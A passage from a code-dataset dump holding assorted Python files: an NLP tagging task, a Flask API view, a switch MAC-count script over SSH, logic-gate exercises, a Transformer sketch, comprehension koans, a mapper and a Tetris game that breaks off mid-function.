ensure_ascii=False)\n","sub_path":"src/categories/sracp2.py","file_name":"sracp2.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"315972139","text":"import numpy as np\nimport torch\nfrom dataclasses import dataclass\nfrom typing import List, Union\n\nfrom jiant.tasks.core import (\n BaseExample,\n BaseTokenizedExample,\n BaseDataRow,\n BatchMixin,\n Task,\n TaskTypes,\n)\nfrom jiant.tasks.lib.templates.shared import (\n labels_to_bimap,\n create_input_set_from_tokens_and_segments,\n construct_single_input_tokens_and_segment_ids,\n pad_single_with_feat_spec,\n)\nfrom jiant.utils.python.datastructures import zip_equal\nfrom jiant.utils.python.io import read_file_lines\n\nARBITRARY_OVERLY_LONG_WORD_CONSTRAINT = 100\n# In a rare number of cases, a single word (usually something like a mis-processed URL)\n# is overly long, and should not be treated as a real multi-subword-token word.\n# In these cases, we simply replace it with an UNK token.\n\n\n@dataclass\nclass Example(BaseExample):\n guid: str\n tokens: List[str]\n pos_list: List[str]\n\n def tokenize(self, tokenizer):\n all_tokenized_tokens = []\n labels = []\n label_mask = []\n for token, pos in zip_equal(self.tokens, self.pos_list):\n # Tokenize each \"token\" separately, assign label only to first token\n tokenized = tokenizer.tokenize(token)\n # If the token can't be tokenized, or is too long, replace with a single \n if len(tokenized) == 0 or len(tokenized) > ARBITRARY_OVERLY_LONG_WORD_CONSTRAINT:\n tokenized = [tokenizer.unk_token]\n all_tokenized_tokens += tokenized\n padding_length = len(tokenized) - 1\n labels += [UdposTask.LABEL_TO_ID.get(pos, None)] + [None] * padding_length\n label_mask += [1] + [0] * padding_length\n\n return TokenizedExample(\n guid=self.guid,\n tokens=all_tokenized_tokens,\n labels=labels,\n label_mask=label_mask,\n )\n\n\n@dataclass\nclass TokenizedExample(BaseTokenizedExample):\n guid: str\n tokens: List\n labels: List[Union[int, None]]\n label_mask: List[int]\n\n def featurize(self, tokenizer, feat_spec):\n unpadded_inputs = construct_single_input_tokens_and_segment_ids(\n input_tokens=self.tokens,\n tokenizer=tokenizer,\n feat_spec=feat_spec,\n )\n input_set = create_input_set_from_tokens_and_segments(\n unpadded_tokens=unpadded_inputs.unpadded_tokens,\n unpadded_segment_ids=unpadded_inputs.unpadded_segment_ids,\n tokenizer=tokenizer,\n feat_spec=feat_spec,\n )\n\n # Replicate padding / additional tokens for the label ids and mask\n if feat_spec.sep_token_extra:\n label_suffix = [None, None]\n mask_suffix = [0, 0]\n special_tokens_count = 3 # CLS, SEP-SEP\n else:\n label_suffix = [None]\n mask_suffix = [0]\n special_tokens_count = 2 # CLS, SEP\n unpadded_labels = (\n [None] + self.labels[: feat_spec.max_seq_length - special_tokens_count] + label_suffix\n )\n unpadded_labels = [i if i is not None else -1 for i in unpadded_labels]\n unpadded_label_mask = (\n [0] + self.label_mask[: feat_spec.max_seq_length - special_tokens_count] + mask_suffix\n )\n\n padded_labels = pad_single_with_feat_spec(\n ls=unpadded_labels,\n feat_spec=feat_spec,\n pad_idx=-1,\n )\n padded_label_mask = pad_single_with_feat_spec(\n ls=unpadded_label_mask,\n feat_spec=feat_spec,\n pad_idx=0,\n )\n\n return DataRow(\n guid=self.guid,\n input_ids=np.array(input_set.input_ids),\n input_mask=np.array(input_set.input_mask),\n segment_ids=np.array(input_set.segment_ids),\n label_ids=np.array(padded_labels),\n label_mask=np.array(padded_label_mask),\n tokens=unpadded_inputs.unpadded_tokens,\n )\n\n\n@dataclass\nclass DataRow(BaseDataRow):\n guid: str\n input_ids: np.ndarray\n input_mask: np.ndarray\n segment_ids: np.ndarray\n label_ids: np.ndarray\n label_mask: np.ndarray\n tokens: list\n\n\n@dataclass\nclass Batch(BatchMixin):\n input_ids: torch.LongTensor\n input_mask: torch.LongTensor\n segment_ids: torch.LongTensor\n label_ids: torch.LongTensor\n label_mask: torch.LongTensor\n tokens: list\n\n\nclass UdposTask(Task):\n\n Example = Example\n TokenizedExample = Example\n DataRow = DataRow\n Batch = Batch\n\n TASK_TYPE = TaskTypes.TAGGING\n LABELS = [\n \"ADJ\",\n \"ADP\",\n \"ADV\",\n \"AUX\",\n \"CCONJ\",\n \"DET\",\n \"INTJ\",\n \"NOUN\",\n \"NUM\",\n \"PART\",\n \"PRON\",\n \"PROPN\",\n \"PUNCT\",\n \"SCONJ\",\n \"SYM\",\n \"VERB\",\n \"X\",\n ]\n LABEL_TO_ID, ID_TO_LABEL = labels_to_bimap(LABELS)\n\n def __init__(self, name, path_dict, language):\n super().__init__(name=name, path_dict=path_dict)\n self.language = language\n\n @property\n def num_labels(self):\n return len(self.LABELS)\n\n def get_train_examples(self):\n return self._create_examples(data_path=self.path_dict[\"train\"], set_type=\"train\")\n\n def get_val_examples(self):\n return self._create_examples(data_path=self.path_dict[\"val\"], set_type=\"val\")\n\n def get_test_examples(self):\n return self._create_examples(data_path=self.path_dict[\"test\"], set_type=\"test\")\n\n @classmethod\n def _create_examples(cls, data_path, set_type):\n curr_token_list, curr_pos_list = [], []\n data_lines = read_file_lines(data_path, \"r\", encoding=\"utf-8\")\n examples = []\n idx = 0\n for data_line in data_lines:\n data_line = data_line.strip()\n if data_line:\n if set_type == \"test\":\n line_tokens = data_line.split(\"\\t\")\n if len(line_tokens) == 2:\n token, pos = line_tokens\n else:\n token, pos = data_line, None\n else:\n token, pos = data_line.split(\"\\t\")\n curr_token_list.append(token)\n curr_pos_list.append(pos)\n else:\n examples.append(\n Example(\n guid=f\"{set_type}-{idx}\",\n tokens=curr_token_list,\n pos_list=curr_pos_list,\n )\n )\n idx += 1\n curr_token_list, curr_pos_list = [], []\n if curr_token_list:\n examples.append(\n Example(guid=f\"{set_type}-{idx}\", tokens=curr_token_list, pos_list=curr_pos_list)\n )\n return examples\n","sub_path":"jiant/tasks/lib/udpos.py","file_name":"udpos.py","file_ext":"py","file_size_in_byte":6741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"406054963","text":"#!/usr/bin/python3\n\"\"\" Show, Delete, Create and Update amenities \"\"\"\nfrom api.v1.views import app_views\nfrom flask import jsonify, request, abort, make_response\nfrom models import storage\nfrom models.amenity import Amenity\nfrom models.place import Place\nfrom models.user import User\n\n\n@app_views.route('/places//amenities',\n strict_slashes=False, methods=['GET'])\ndef amenities(place_id):\n \"\"\" Endpoint that handle http methods for a amenity\n\n place_id : is the id of the required place\n \"\"\"\n place = storage.get(Place, place_id)\n\n if not place:\n abort(404)\n\n amenities = [place.to_dict() for place in place.amenities]\n return jsonify(amenities)\n\n\n@app_views.route('/places//amenities/',\n strict_slashes=False, methods=['DELETE', 'POST'])\ndef amenities_by_place(place_id, amenity_id):\n \"\"\" Endpoint that handle http methods for amenities of a place\n\n place_id: Is the id of the required place\n \"\"\"\n place = storage.get(Place, place_id)\n amenity = storage.get(Amenity, amenity_id)\n\n if not place:\n abort(404)\n\n if not amenity:\n abort(404)\n\n if request.method == 'DELETE':\n if amenity_id not in [a.id for a in place.amenities]:\n abort(404)\n place.amenities.remove(amenity)\n storage.save()\n return jsonify({}), 200\n\n if request.method == 'POST':\n if amenity_id in [a.id for a in place.amenities]:\n return jsonify(amenity.to_dict()), 200\n else:\n place.amenities.append(amenity)\n storage.save()\n return jsonify(amenity.to_dict()), 201\n","sub_path":"api/v1/views/places_amenities.py","file_name":"places_amenities.py","file_ext":"py","file_size_in_byte":1668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"187857324","text":"import csv\nimport numpy as np\nimport re\nimport ciscolib\nimport paramiko\nimport sys\n\nwith open('interfaceOutput.csv', 'w') as output:\n with open('switchInfo.csv', 'rb') as file:\n output.write('Hostname,IP Address,Interface,MAC address count \\n')\n switchInfo = csv.reader(file)\n for row in switchInfo:\n\n interfaces = []\n connecterror = 0\n\n #telnet stuff\n #switch = ciscolib.Device(row[0],row[2],row[1])\n\n #SSH stuff\n ssh = paramiko.SSHClient()\n ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n\n\n\n try:\n ssh.connect(row[1],22,row[2],row[3])\n\n print('\\nHostname:'+row[0]+' IP:'+row[1])\n #output.write(row[1]+'\\n')\n\n (stdin, stdout, stderr) = ssh.exec_command('show mac address-table')\n\n showmac = stdout.read()\n #print showmac\n\n splitshowmac=showmac.split('\\n')\n\n #except ciscolib.errors.AuthenticationError as ae:\n # print('\\nAuthentication error on ' + row[0] )\n #output.write('Authentication error on ' + row[0] + '\\n\\n')\n #connecterror=1\n except:\n print(\"\\nUnexpected error: \" + row[0] + '\\n')\n output.write('Unexpected error: ' + row[0] + ',Unexpected error: ' + row[1] + '\\n')\n connecterror=1\n\n\n #looks for 863 001c.5839.1041 DYNAMIC Gi0/23\n a = re.compile(\"(\\d+)|(\\s+\\d+)+\\s+[0-9,a-z,.]+\\s+DYNAMIC\\s+\")\n\n\n if not connecterror :\n for line in splitshowmac:\n if a.match(line):\n interfaces.append(line.split()[3])\n\n #A unique list of interfaces and the inverses\n items, inv = np.unique(interfaces, return_inverse=True)\n\n #count the number of times a value occurs\n freq = np.bincount(inv)\n\n #combine the two arrays\n countedInterfaces=np.array((items, freq)).T\n\n #convert to tuple cause I don't know what (i think sorted doesn't like arrays))\n countedInterfaces=tuple(map(tuple,countedInterfaces))\n\n countedInterfaces=sorted(countedInterfaces, key=lambda k: int(k[1]))\n for i in countedInterfaces:\n #removes the interfaces below the threshold\n if int(i[1])>1:\n print('Interface: '+i[0]+' M.A.C. count: ' +i[1])\n output.write(row[0]+','+row[1]+','+i[0]+','+i[1] + '\\n')","sub_path":"find unmanaged swiches.py","file_name":"find unmanaged swiches.py","file_ext":"py","file_size_in_byte":2639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"451272732","text":"import ReadSettings\nimport DatabaseConnect\nimport os\n\ndef get_max_transaction_number(cursor): \n cursor.execute(\"SELECT max(transaction_id) FROM transaction_total\") \n for max_transaction_number_row in cursor:\n max_trans_number = max_transaction_number_row[0]\n \n if max_trans_number is None:\n max_trans_number = 1\n else:\n return max_trans_number + 1\n \ntry:\n init_file_name = \"settings.txt\"\n init_file = open(init_file_name)\nexcept:\n print(\"Couldn't open settings.txt\")\n \nvalues_dict = ReadSettings.get_values_from_init_file(init_file)\ntry:\n cursor, conn = DatabaseConnect.connect(values_dict) \nexcept:\n print(\"Error connecting to database\")\n# Insert into database\nfor f in os.listdir(\"UnsavedTrans\"):\n max_trans_num = get_max_transaction_number(cursor)\n file_path = os.getcwd() + \"/UnsavedTrans/\" + f\n open_f = open(file_path)\n transaction_statements = open_f.read()\n open_f.close()\n clean_statements = transaction_statements.replace(\"-1,\", str(max_trans_num) + \",\")\n print(clean_statements)\n for l in clean_statements.split(\"\\n\"):\n cursor.execute(l)\n conn.commit()\n os.remove(file_path)\nprint(\"Finished.\")","sub_path":"UnsavedTransactionEntry.py","file_name":"UnsavedTransactionEntry.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"146314246","text":"# 논리회로 And , OR , NAND\n# w1 * x1 + w2 * x2 + b > 0 흐른다.\n# w1 * x1 + w2 * x2 + b <= 0 흐르지 않는다. \n\nimport numpy as np\n\n#AND GATE 함수\ndef AND(x1, x2):\n x = np.array([x1, x2])\n w = np.array([0.5, 0.5])\n b = -0.7\n\n tmp = np.sum(w * x) + b\n if tmp <= 0:\n return 0 # 흐르지 않는다.\n else:\n return 1 # 흐른다.\n\n\n#OR GATE 함수\ndef OR(x1, x2):\n x = np.array([x1, x2])\n w = np.array([0.5, 0.5])\n b = -0.2\n\n tmp = np.sum(w * x) + b\n if tmp <= 0:\n return 0 # 흐르지 않는다.\n else:\n return 1 # 흐른다.\n\n#NAND GATE 함수\ndef NAND(x1, x2):\n x = np.array([x1, x2])\n w = np.array([-0.5, -0.5])\n b = 0.7\n\n tmp = np.sum(w * x) + b\n if tmp <= 0:\n return 0 # 흐르지 않는다.\n else:\n return 1 # 흐른다.\n\n\n#GATE 값 계산하기\nprint(\"AND\")\nfor i in [(0, 0), (1, 0), (0, 1), (1, 1)]:\n y = AND(i[0], i[1])\n print(str(i) + \" -> \" + str(y))\nprint()\nprint(\"OR\")\nfor i in [(0, 0), (1, 0), (0, 1), (1, 1)]:\n y = OR(i[0], i[1])\n print(str(i) + \" -> \" + str(y))\nprint()\nprint(\"NAND\")\nfor i in [(0, 0), (1, 0), (0, 1), (1, 1)]:\n y = NAND(i[0], i[1])\n print(str(i) + \" -> \" + str(y))\n\nprint()\nprint(\"XOR\")\nfor i in [(0, 0), (1, 0), (0, 1), (1, 1)]:\n s1 = NAND(i[0], i[1])\n s2 = OR(i[0], i[1])\n y = AND(s1, s2)\n\n print(str(i) + \" -> \" + str(y))\n\n#계산 값에 필요한 w1, w2, b값 정의\ndata = [(0, 0, 0), (1, 0, 0), (0, 1, 0), (1, 1, 1)]\ndata_Or = [(0, 0, 0), (1, 0, 1), (0, 1, 1), (1, 1, 1)]\ndata_Nand = [(0, 0, 1), (1, 0, 1), (0, 1, 1), (1, 1, 0)]\ndata_Xor = [(0, 0, 0), (1, 0, 1), (0, 1, 1), (1, 1, 0)]\n\n#w1, w2, b 값을 랜덤으로 생성하여 정답을 찾기 위한 작업 (학습 x)\nw1 = [0, 0, 0]\nw2 = [0, 0, 0]\nb = [0, 0, 0]\ncnt = 0\nepoch = 0\n\n\n#딥러닝 실시\ndef model(x1, x2, w1, w2, b):\n x = np.array([x1, x2])\n w = np.array([w1, w2])\n\n tmp = np.sum(w * x) + b\n if tmp <= 0:\n return 0 # 흐르지 않는다.\n else:\n return 1 # 흐른다.\n\n\nwhile (1):\n epoch += 1\n cnt = 0\n w1 = [np.random.normal(), np.random.normal(), np.random.normal()]\n w2 = [np.random.normal(), np.random.normal(), np.random.normal()]\n b = [np.random.normal(), np.random.normal(), np.random.normal()]\n\n for i in data_Xor:\n if (i[2] != model(model(i[0], i[1], w1[0], w2[0], b[0]), model(i[0], i[1], w1[1], w2[1], b[1]), w1[2], w2[2],\n b[2])):\n break\n else:\n cnt += 1\n\n if cnt == 4:\n print(\"epoch : \", epoch)\n print(\"w1 : \", w1)\n print(\"w2 : \", w2)\n print(\"b : \", b)\n break\n\n if (epoch % 10000) == 0:\n print(epoch, \" 반복 중\")\n","sub_path":"3.Deep Learning/kNN/GATE.py","file_name":"GATE.py","file_ext":"py","file_size_in_byte":2739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"13759490","text":"import copy\nimport math\nimport numpy as np\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\n\nfrom joeynmt.helpers import clones\nfrom joeynmt.attention import AttentionMechanism, MultiHeadAttention\nfrom joeynmt.embeddings import Embeddings\n\n\nclass EncoderDecoder(nn.Module):\n def __init__(self,\n encoder,\n src_embed,\n tgt_embed,\n generator):\n super(TransformerEncoder, self).__init__()\n self.encoder = encoder\n self.src_embed = src_embed\n self.tgt_embed = tgt_embed\n self.generator = generator\n\n def forward(self, src, tgt, src_mask, tgt_mask):\n \"\"\"Takes input and processes masked source and\n target seqs\"\"\"\n return self.decode(self.encode(src, src_mask), src_mask,\n tgt, tgt_mask)\n\n def encode(self, src, src_mask):\n return self.encoder(self.src_embed(src), src_mask)\n \n def decode(self, memory, src_mask, tgt, tgt_mask):\n return self.decoder(self.tgt_embed(tgt), memory, src_mask, tgt_mask)\n\n\nclass Encoder(nn.Module):\n \"\"\"\n Stacked encoder with N layers\n \"\"\"\n def __init__(self, layer, N):\n super(Encoder, self).__init__()\n self.layers = clones(layer, N)\n self.norm = LayerNorm(layer.size)\n\n def forward(self, *input):\n \"\"\"\n Passing input/mask through each layer\n \"\"\"\n for layer in self.layers:\n x = layer(x, mask)\n return self.norm(x)\n\n\nclass Decoder(nn.Module):\n def __init__(self, layer, N):\n super(Decoder, self).__init__()\n self.layers = clones(layer, N)\n self.norm = LayerNorm(layer.size)\n\n def forward(self, x, memory, src_mask, tgt_mask):\n for layer in self.layers:\n x = layer(x, memory, src_mask, tgt_mask)\n return self.norm(x)\n\n\nclass Generator(nn.Module):\n \"\"\"\n Linear + Softmax step\n \"\"\"\n def __init__(self, d_model, vocal):\n super(Generator, self).__init__()\n self.proj = nn.Linear(d_model, vocab)\n\n def forward(self, x):\n return F.log_softmax(self.proj(x), dim=-1)\n\n\nclass LayerNorm(nn.Module):\n \"\"\"\n Layer normalization\n \"\"\"\n def __init__(self, features, eps):\n super(LayerNorm, self).__init__()\n self.a_2 = nn.Parameter(torch.ones(features))\n self.b_2 = nn.Parameter(torch.zeros(features))\n self.eps = eps\n\n def forward(self, x):\n mean = x.mean(-1, keepdim=True)\n std = x.std(-1, keepdim=True)\n return self.a_2 * (x - mean)/(std + self.eps) + self.b_2\n\n\nclass SublayerConnection(nn.Module):\n \"\"\"\n Residual connection with layer normalization.\n \"\"\"\n def __init__(self, size, dropout):\n super(SublayerConnection, self).__init__()\n self.norm = LayerNorm(size)\n self.dropout = nn.Dropout(dropout)\n\n def forward(self, x, sublayer):\n return x + self.dropout(sublayer(self.norm(x)))\n\n\nclass TransformerEncoder(nn.Module):\n def __init__(self, size, self_attn, feed_forward, sublayer_num, dropout):\n super(TransformerEncoder, self).__init__()\n self.self_attn = self_attn\n self.feed_forward = feed_forward\n self.sublayer = clones(SublayerConnection(size, dropout), sublayer_num)\n self.size = size\n\n def forward(self, x, mask):\n x = self.sublayer[0](x, lambda x: self.self_attn(x, x, x, mask))\n return self.sublayer[1](x, self.feed_forward)\n\n\nclass TransformerDecoder(nn.Module):\n def __init__(self, size, self_attn, src_attn, feed_forward, sublayer_num, dropout):\n super(TransformerDecoder, self).__init__()\n self.size = size\n self.self_attn = self_attn\n self.src_attn = src_attn\n self.feed_forward = feed_forward\n self.sublayer = clones(SublayerConnection(size, dropout), 3)\n\n def forward(self, x, memory, src_mask, tgt_mask):\n m = memory\n x = self.sublayer[0](x, lambda x: self.self_attn(x, x, x, tgt_mask))\n x = self.sublayer[1](x, lambda x: self.self_attn(x, x, x, src_mask))\n return self.sublayer[2](x, self.feed_forward)\n\n\nclass PositionwiseFF(nn.Module):\n def __init__(self, d_model, d_ff, dropout):\n super(PositionwiseFF, self).__init__()\n self.w_1 = nn.Linear(d_model, d_ff)\n self.w_2 = nn.Linear(d_ff, d_model)\n self.dropout = nn.Dropout(dropout)\n\n def forward(self, x):\n return self.w_2(self.dropout(F.relu(self.w_1(x))))\n\n\nclass PositionalEncoding(nn.Module):\n def __init__(self, d_model, dropout, max_len=5000):\n super(PositionalEncoding, self).__init__()\n self.dropout = nn.Dropout(p=dropout)\n pe = torch.zeros(max_len, d_model)\n position = torch.arange(0, max_len).unsqueeze(1)\n div_term = torch.exp(torch.arange(0, d_model, 2)\n * -(math.log(10000.0) / d_model))\n pe[:, 0::2] = torch.sin(position * div_term)\n pe[:, 1::2] = torch.cos(position * div_term)\n pe = pe.unsqueeze(0)\n self.register_buffer('pe', pe)\n\n def forward(self, x):\n x = x + Variable(self.pe[:, :x.size(1)],\n requires_grad=False)\n return self.dropout(x)\n\n\nclass Transformer:\n def __init__(self, src_vocab, tgt_vocab, N, d_model, d_ff, h, dropout):\n self.c = copy.deepcopy\n self.src = src_vocab\n self.tgt = tgt_vocab\n self.dropout = dropout\n self.N = N\n self.d_model = d_model\n self.attn = MultiHeadAttention(h, d_model)\n self.ff = PositionwiseFF(d_model, dropout)\n self.position = PositionalEncoding(d_model, dropout)\n self.model = self.make_model()\n \n def make_model(self):\n self.model = EncoderDecoder(\n Encoder(TransformerEncoder(d_model, c(self.attn), c(self.ff), \n self.dropout), self.N),\n Decoder(TransformerDecoder(d_model, c(self.attn), c(self.attn), c(self.ff), \n self.dropout), self.N), \n nn.Sequential(Embeddings(self.d_model, False, self.src), c(self.position)),\n nn.Sequential(Embeddings(self.d_model, False, self.tgt), c(self.position)),\n Generator(self.d_model, self.tgt)\n )\n\n for p in model.parameters():\n if p.dim() > 1:\n nn.init.xavier_uniform(p)\n \n return self.model","sub_path":"joeynmt/transformer.py","file_name":"transformer.py","file_ext":"py","file_size_in_byte":6465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"55281902","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom runner.koan import *\n\n\"\"\"\nList comprehensions provide a concise way to create lists. Comprehension syntax consists of\nbrackets containing an expression folowed by a for clause, then zero or more for or if clauses.\n\nExample 1:\n\nfor item in list:\n if conditional:\n doSomething()\n\nThe above expression is equivalent to\n\n[expression for item in list if conditional]\n\nExample 2: \n\nFind all of the even numbers in the list [1,2,3,4,5]\n\nres = []\nfor num in nums:\n if num % 2 == 0\n res.append(num)\n\n return sum(res)\n\nOR\n\nsum(0 + num for num in nums if num % 2 == 0)\n\"\"\"\n\nclass AboutComprehension(Koan):\n\n def test_creating_lists_with_list_comprehensions(self):\n feast = ['lambs', 'sloths', 'orangutans', 'breakfast cereals',\n 'fruit bats']\n\n comprehension = [delicacy.capitalize() for delicacy in feast]\n\n self.assertEqual(\"Lambs\", comprehension[0])\n self.assertEqual(\"Orangutans\", comprehension[2])\n\n def test_filtering_lists_with_list_comprehensions(self):\n feast = ['spam', 'sloths', 'orangutans', 'breakfast cereals',\n 'fruit bats']\n\n comprehension = [delicacy for delicacy in feast if len(delicacy) > 6]\n\n self.assertEqual(5, len(feast))\n self.assertEqual(3, len(comprehension))\n\n def test_unpacking_tuples_in_list_comprehensions(self):\n list_of_tuples = [(1, 'lumberjack'), (2, 'inquisition'), (4, 'spam')]\n comprehension = [ skit * number for number, skit in list_of_tuples ]\n\n self.assertEqual('lumberjack', comprehension[0])\n self.assertEqual('spamspamspamspam', comprehension[2])\n\n def test_double_list_comprehension(self):\n list_of_eggs = ['poached egg', 'fried egg']\n list_of_meats = ['lite spam', 'ham spam', 'fried spam']\n\n\n comprehension = [ '{0} and {1}'.format(egg, meat) for egg in list_of_eggs for meat in list_of_meats]\n\n self.assertEqual('poached egg and lite spam', comprehension[0])\n self.assertEqual(6, len(comprehension))\n\n def test_creating_a_set_with_set_comprehension(self):\n comprehension = { x for x in 'aabbbcccc'}\n\n self.assertEqual({'a', 'b', 'c'}, comprehension) # remember that set members are unique\n\n def test_creating_a_dictionary_with_dictionary_comprehension(self):\n dict_of_weapons = {'first': 'fear', 'second': 'surprise',\n 'third':'ruthless efficiency', 'fourth':'fanatical devotion',\n 'fifth': None}\n\n # For num(k), weapon in [first, fear]. if weapon exists, uppercase the amount: weapon\n dict_comprehension = { k.upper(): weapon for k, weapon in dict_of_weapons.items() if weapon}\n\n self.assertEqual(False, 'first' in dict_comprehension)\n self.assertEqual(True, 'FIRST' in dict_comprehension)\n self.assertEqual(5, len(dict_of_weapons))\n self.assertEqual(4, len(dict_comprehension))\n","sub_path":"python3/koans/about_comprehension.py","file_name":"about_comprehension.py","file_ext":"py","file_size_in_byte":2969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"268864658","text":"#!/usr/bin/env python\nimport sys\n\n\n#input comes from reducer1 through STDIN\nfor line in sys.stdin:\n\n str_vals = line.split('\\t')\n vin = str_vals[0]\n #value is a tuple with format (type, make, year)\n value = eval(str_vals[1])\n\n make_val = value[1]\n year_val = value[2]\n\n #make the composite key\n new_key = f'{make_val}{year_val}'\n #print composite key and count 1\n print(f'{new_key}\\t1')","sub_path":"mapper2.py","file_name":"mapper2.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"494124773","text":"#Tetris0.3 for AI test\n\nfrom tkinter import *\nimport random,copy\n#import TetrisAI\nfrom Block import Block\nglobal height, width, cellArray, colorArray, oldArray, colorbase, reliefbase\nglobal base, focus, score, pause, length, speed\n\n\nstart = (0,0)\nheight = 16\nwidth = 10\nlength = 4\nspeed = 800\n\ncolorbase = ['white','cyan']\nreliefbase = ['flat','raised']\n\n\ndef generateBlock(initial,length):\n direction = [(1, 0), (-1, 0), (0, 1), (0, -1)]\n b = Block(initial)\n while b.length < length:\n vector = random.sample(direction,1)[0]\n newBlock = (b.tail[0]+vector[0], b.tail[1]+vector[1])\n if newBlock[0] >= 0 and newBlock[1] >= 0 and newBlock[0] < width-1:\n b.add_block(newBlock)\n print(b.block)\n return b\n\n\ndef init():\n global oldArray, target, score, cellArray, stateArray, focus, base, pause, Score, length, nextBlockArray, nextBlockState, nextBlock\n score = 0\n cellArray = list()\n stateArray = list()\n oldArray = list()\n pause = False\n base = None\n focus = None\n main = Label(root,bg='gray',relief='flat')\n main.place(width=480,height=500,x=start[0],y=start[1])\n ScoreText = Label(root,text='Score:',bg='gray',fg='yellow',relief='flat',font=('phonetic',20),justify=LEFT)\n ScoreText.place(x=start[0]+width*30+10,y=start[1]+430)\n Score = Label(root,text=str(score),bg='gray',fg='yellow',relief='flat',font=('phonetic',18),justify=LEFT)\n Score.place(x=start[0]+width*30+10,y=start[1]+460)\n nextBlockText = Label(root,text='Next Block:',bg='gray',fg='black',relief='flat',font=('phonetic',15),justify=LEFT)\n nextBlockText.place(x=start[0]+width*30+30,y=start[1]+10)\n nextBlockArray = list()\n nextBlockState = list()\n for i in range(4):\n nextBlockArray.append([])\n nextBlockState.append([])\n for j in range(4):\n temp = Label(root,bg='white',relief='flat')\n temp.place(width=30,height=30,\\\n x=30*i+30*width+start[0]+30,y=30*j+start[1]+40)\n nextBlockArray[i].append(temp)\n nextBlockState[i].append(0)\n nextBlock = generateBlock((random.randint(0,9),0),length)\n showNext(nextBlock)\n \n for x in range(width):\n cellArray.append([])\n stateArray.append([])\n for y in range(height):\n temp = Label(root,bg='white',relief='flat')\n temp.place(width=30,height=30,\\\n x=30*x+start[0]+10,y=30*y+start[1]+10)\n cellArray[x].append(temp)\n stateArray[x].append(0)\n oldArray = copy.deepcopy(stateArray)\n target = generateBlock((random.randint(0,9),0),length)\n drawBlock(target)\n frame()\n moveDown()\n\ndef showNext(nextBlock):\n global nextBlockArray, nextBlockState, colorbase\n nextBlockState=[[0,0,0,0],\n [0,0,0,0],\n [0,0,0,0],\n [0,0,0,0]]\n b = nextBlock.block\n if len(b)>4:\n nextBlockState=[[0,1,0,1],\n [1,0,1,0],\n [0,1,0,1],\n [1,0,1,0]]\n elif len(b) == 4:\n wid = nextBlock.rightBound - nextBlock.leftBound\n hei = nextBlock.downBound - nextBlock.upBound\n stx = abs(int(wid*0.5-2))\n sty = abs(int(hei*0.5-2))\n modify_x = stx - nextBlock.leftBound\n modify_y = sty - nextBlock.upBound\n for i in b:\n tempx = i[0] + modify_x\n tempy = i[1] + modify_y\n nextBlockState[tempx][tempy] = 1\n\n else:\n print('Invalid nextBlock')\n return 0\n for i in range (4):\n for j in range(4):\n index = nextBlockState[i][j]\n nextBlockArray[i][j].configure(bg=colorbase[index],\\\n relief=reliefbase[index])\n \n \n\ndef check():\n global stateArray, base, score, Score, target, nextBlock, speed\n level = score // 1000\n s = 0\n delete = []\n newBlock = target.addVector((0,1))\n if base != None:\n for y in range(height-1,-1,-1):\n s = 0\n for x in range(width):\n if (x,y) in base.block and stateArray[x][y] == 1:\n s += 1\n \n if s == width:\n delete.append(y)\n\n if delete != []:\n print(delete)\n delete.sort()\n score += len(delete) * 100 * 2 - 100\n Score.configure(text=str(score))\n print(delete)\n clear(base)\n update()\n for d in delete:\n for x in range(width):\n base.delete_block((x,d))\n stateArray[x][d] = 0\n update()\n\n for d in delete:\n for y in range(d-1,-1,-1):\n for x in range(width):\n if (x,y) in base.block:\n base.delete_block((x,y))\n base.connect_block((x,y+1))\n\n drawBlock(base)\n \n if base == None:\n if target.downBound + 1 == height:\n score += (length-3)**2 * 10\n Score.configure(text=str(score))\n base = Block(target.lowest)\n for i in range(len(target.block)):\n base.connect_block(target.block[i])\n target.replace(nextBlock.block)\n nextBlock = generateBlock((random.randint(0,9),0),length)\n print(\"*********New block generated.**********\")\n drawBlock(target)\n showNext(nextBlock)\n #print(base.block)\n else:\n intersect = list(set(newBlock)&set(base.block))\n if intersect == [] and target.downBound + 1 != height:\n pass\n\n else:\n score += (length-3)**2 * 10\n Score.configure(text=str(score))\n for i in range(len(target.block)):\n base.connect_block(target.block[i])\n target.replace(nextBlock.block)\n nextBlock = generateBlock((random.randint(0,9),0),length)\n print(\"*********New block generated.**********\")\n drawBlock(target)\n showNext(nextBlock)\n \n for b in target.block:\n i = b[0]\n j = b[1]\n if base != None and (i,j) in base.block:\n print ('gameOver')\n GameOver()\n Pause(root)\n return 0\n \n\n\n speed = speed - level * 100\n if speed < 500:\n speed = 500\n\ndef frame():\n global stateArray,oldArray\n if pause == True:\n return 0\n update()\n\n oldArray = copy.deepcopy(stateArray)\n root.after(100,frame)\n\ndef drawBlock(block):\n for i in block.block:\n stateArray[i[0]][i[1]] = 1\n\ndef update():\n global cellArray\n for y in range(height):\n for x in range(width):\n## if stateArray[x][y] != oldArray[x][y]:\n index = stateArray[x][y]\n cellArray[x][y].configure(bg=colorbase[index],\\\n relief=reliefbase[index])\n\ndef clear(block):\n global stateArray\n for vector in block.block:\n x = vector[0]\n y = vector[1]\n stateArray[x][y] = 0\n\ndef Rotate_Clock(root):\n global target, base\n if pause == True:\n return 0\n newBlock = target.rotate(1)\n #print(newBlock)\n newBlock.sort()\n leftBound = newBlock[0][0]\n rightBound = newBlock[len(newBlock)-1][0]\n modify = 0\n if leftBound < 0:\n modify = -1 * leftBound\n elif rightBound > width - 1:\n modify = width - 1 - rightBound\n 